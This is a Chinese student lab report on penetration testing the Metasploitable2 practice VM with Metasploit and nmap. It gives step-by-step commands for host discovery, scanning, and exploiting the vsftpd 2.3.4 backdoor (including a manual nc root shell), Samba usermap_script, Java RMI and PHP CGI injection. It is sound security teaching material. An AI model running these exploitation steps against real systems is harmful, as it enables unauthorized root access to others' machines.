一、实验内容
本实践目标是掌握metasploit的用法。
指导书参考Rapid7官网的指导教程。
https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide/
下载官方靶机Metasploitable2,完成下面实验内容。
用户名密码均为:msfadmin
(1)前期渗透
①主机发现(可用Aux中的arp_sweep,search一下就可以use)。
②端口扫描:可以直接用nmap,也可以用Aux中的portscan/tcp等。
③选做:也可以扫系统版本、漏洞等。
(2)Vsftpd源码包后门漏洞(21端口)
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
(4)Java RMI SERVER命令执行漏洞(1099端口)
(5)PHP CGI参数执行注入漏洞(80端口)
二、实验过程
(1)前期渗透
攻击机:192.168.198.131(kali)
靶机:192.168.198.149(目标靶机Metasploitable2)
①主机发现(使用Aux中的arp_sweep)
(a)进入kali,使用msfconsole
(b)搜索arp_sweep模块,并使用相关模块
search arp_sweep
use 0
(c)显示模块需要配置的选项
show options
(d)设置需要配置的选项
set RHOSTS 192.168.198.131/24
set THREADS 30
(e)执行该模块
exploit
从返回结果可以看到,arp_sweep模块很快发现了192.168.198.0/24网段上拥有如上图活跃主机,其中192.168.198.149这个IP地址为目标靶机IP地址。
②端口扫描:直接用nmap
nmap 192.168.198.149
③扫描系统版本、漏洞等
(a)扫描操作系统:
nmap -O 192.168.198.149
发现操作系统版本为:linux_kernel:2.6
(b)扫描漏洞:
nmap漏洞扫描分类:
auth:负责处理鉴权证书(绕开鉴权)的脚本;
broadcast:在局域网内探查更多服务开启状况,如dhcp、dns、sqlserver等服务;
brute:提供暴力破解方式,针对常见的应用,如http、snmp等;
default:使用-sC或-A选项扫描时候默认的脚本,提供基本脚本扫描能力;
discovery:对网络进行更多的信息,如SMB枚举、SNMP查询等;
dos:用于进行拒绝服务攻击;
exploit:利用已知的漏洞入侵系统;
external:利用第三言的数据库或资源,例如进行whois解析;
fuzzer:模糊测试的脚本,发送异常的包到目标机,探测出潜在的漏洞;
intrusive:入侵性的脚本,此类脚本可能引发对方的IDS/IPS的记录或屏蔽;
malware:探测目标机是否感染了病毒、开启了后门等信息;
safe:此类与intrusive相反,属于安全性脚本;
version:负责增强服务与版本扫描(Version Detection)功能的脚本;
vuln:负责检查目录机是否有常见的漏洞(Vulnerability),如是否有MS08_067;
使用指令:
nmap --script=xxx 192.168.198.149
其中xxx为上述分类中的单词
例如:探测目标机是否感染了病毒、开启了后门等信息
nmap --script=malware 192.168.198.149
发现ftp端口有后门漏洞
(2)Vsftpd源码包后门漏洞(21端口)
攻击机:192.168.198.131(kali)
靶机:192.168.198.149(目标靶机Metasploitable2)
(a)测试kali与靶机的连通性:
(b)在kali 终端下对靶机ip地址进行扫描,查看端口情况
nmap 192.168.198.149
发现21号端口是开放的
(c)继续扫描该端口版本
nmap -p 21 192.168.198.149 -sV
发现是含有笑脸漏洞的vsftpd版本
(d)查看6200端口情况
nmap -p 6200 192.168.198.149
发现是关闭的
(e)连接21端口并通过笑脸漏洞登录
nc 192.168.198.149 21
user 任意用户名(以“:)”结尾即可)
这里用的是:tky:)
pass 任意密码
这里用的是:20222422
(f)重新打开一个终端,查看6200端口情况
nmap -p 6200 192.168.198.149
发现已经打开
(g)获取shell
nc 192.168.198.149 6200
发现成功获取shell,可以使用ls,ifconfig等指令
输入whoami
发现是root权限
(h)用msfconsole利用漏洞
利用search命令查找我们需要的漏洞模块vsftpd(笑脸漏洞),使用模块
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
进行设置:
执行结果如下:
发现成功获取shell
(3)SambaMS-RPC Shell命令注入漏洞(端口139)
攻击机:192.168.198.131(kali)
靶机:192.168.198.149(目标靶机Metasploitable2)
(a)启动metasploit
msfconsole
(b)选择漏洞库
search samba
use exploit/multi/samba/usermap_script
(c)设置参数
show options
set RHOST 192.168.198.149
(d)开始攻击
exploit
成功控制shell
(4)Java RMI SERVER命令执行漏洞(1099端口)
攻击机:192.168.198.131(kali)
靶机:192.168.198.149(目标靶机Metasploitable2)
(a)查看1099端口是否开启
Nmap –p 0-65535 192.168.198.149
发现1099端口开启
(b)启动metasploit
msfconsole
(c)选择漏洞库
search rmi
use exploit/multi/misc/java_rmi_server
(d)设置参数
show options
set RHOST 192.168.198.149
(e)开始攻击
exploit
成功控制shell
(5)PHP CGI参数执行注入漏洞(80端口)
(a)启动metasploit
msfconsole
(b)选择漏洞库
use exploit/multi/http/php_cgi_arg_injection
(c)设置参数
show options
set RHOST 192.168.198.149
(d)开始攻击
exploit
成功控制shell
三、问题及解决方案
问题一:在Vsftpd源码包后门漏洞(21端口),连接21端口并通过笑脸漏洞登录时取名“tky:)”的时候使用中文的“:”,导致不成功。
问题一解决方案:更改英文输入法再输入冒号。
问题二:使用nmap -p 6200 192.168.198.149
等扫描指令后发现无法执行。
问题二解决方案:发现是“-”这个符号出了问题,将“-p”重新输入一遍解决。
四、学习感悟、思考等
在本次渗透测试实验中,我深入学习并实践了如何利用Metasploit框架进行漏洞的发现和利用。实验的主要目标是通过对Metasploitable 2靶机的渗透,掌握常见漏洞的利用方式以及相关工具的使用。首先,我通过Metasploit的nmap模块对靶机进行端口扫描,识别出开放的端口和运行的服务。接下来,通过对这些服务的分析,我确定了几个潜在的漏洞,分别针对Vsftpd后门漏洞、Samba MS-RPC漏洞、Java RMI Server漏洞和PHP CGI参数执行漏洞进行了进一步的研究。
通过这次实验,我不仅提高了对Metasploit框架的使用技巧,还加深了对常见漏洞的理解与利用方法,明确了渗透测试的流程和各个环节的重要性。实验让我意识到,网络安全防护不应仅仅依赖外部防御措施,系统设计、配置和编码安全也是防止漏洞的关键。同时,实验过程中也暴露了我在漏洞分析和工具使用上的一些不足,提示我在今后的学习中需要更加注重漏洞原理的深度学习和实践操作的提高。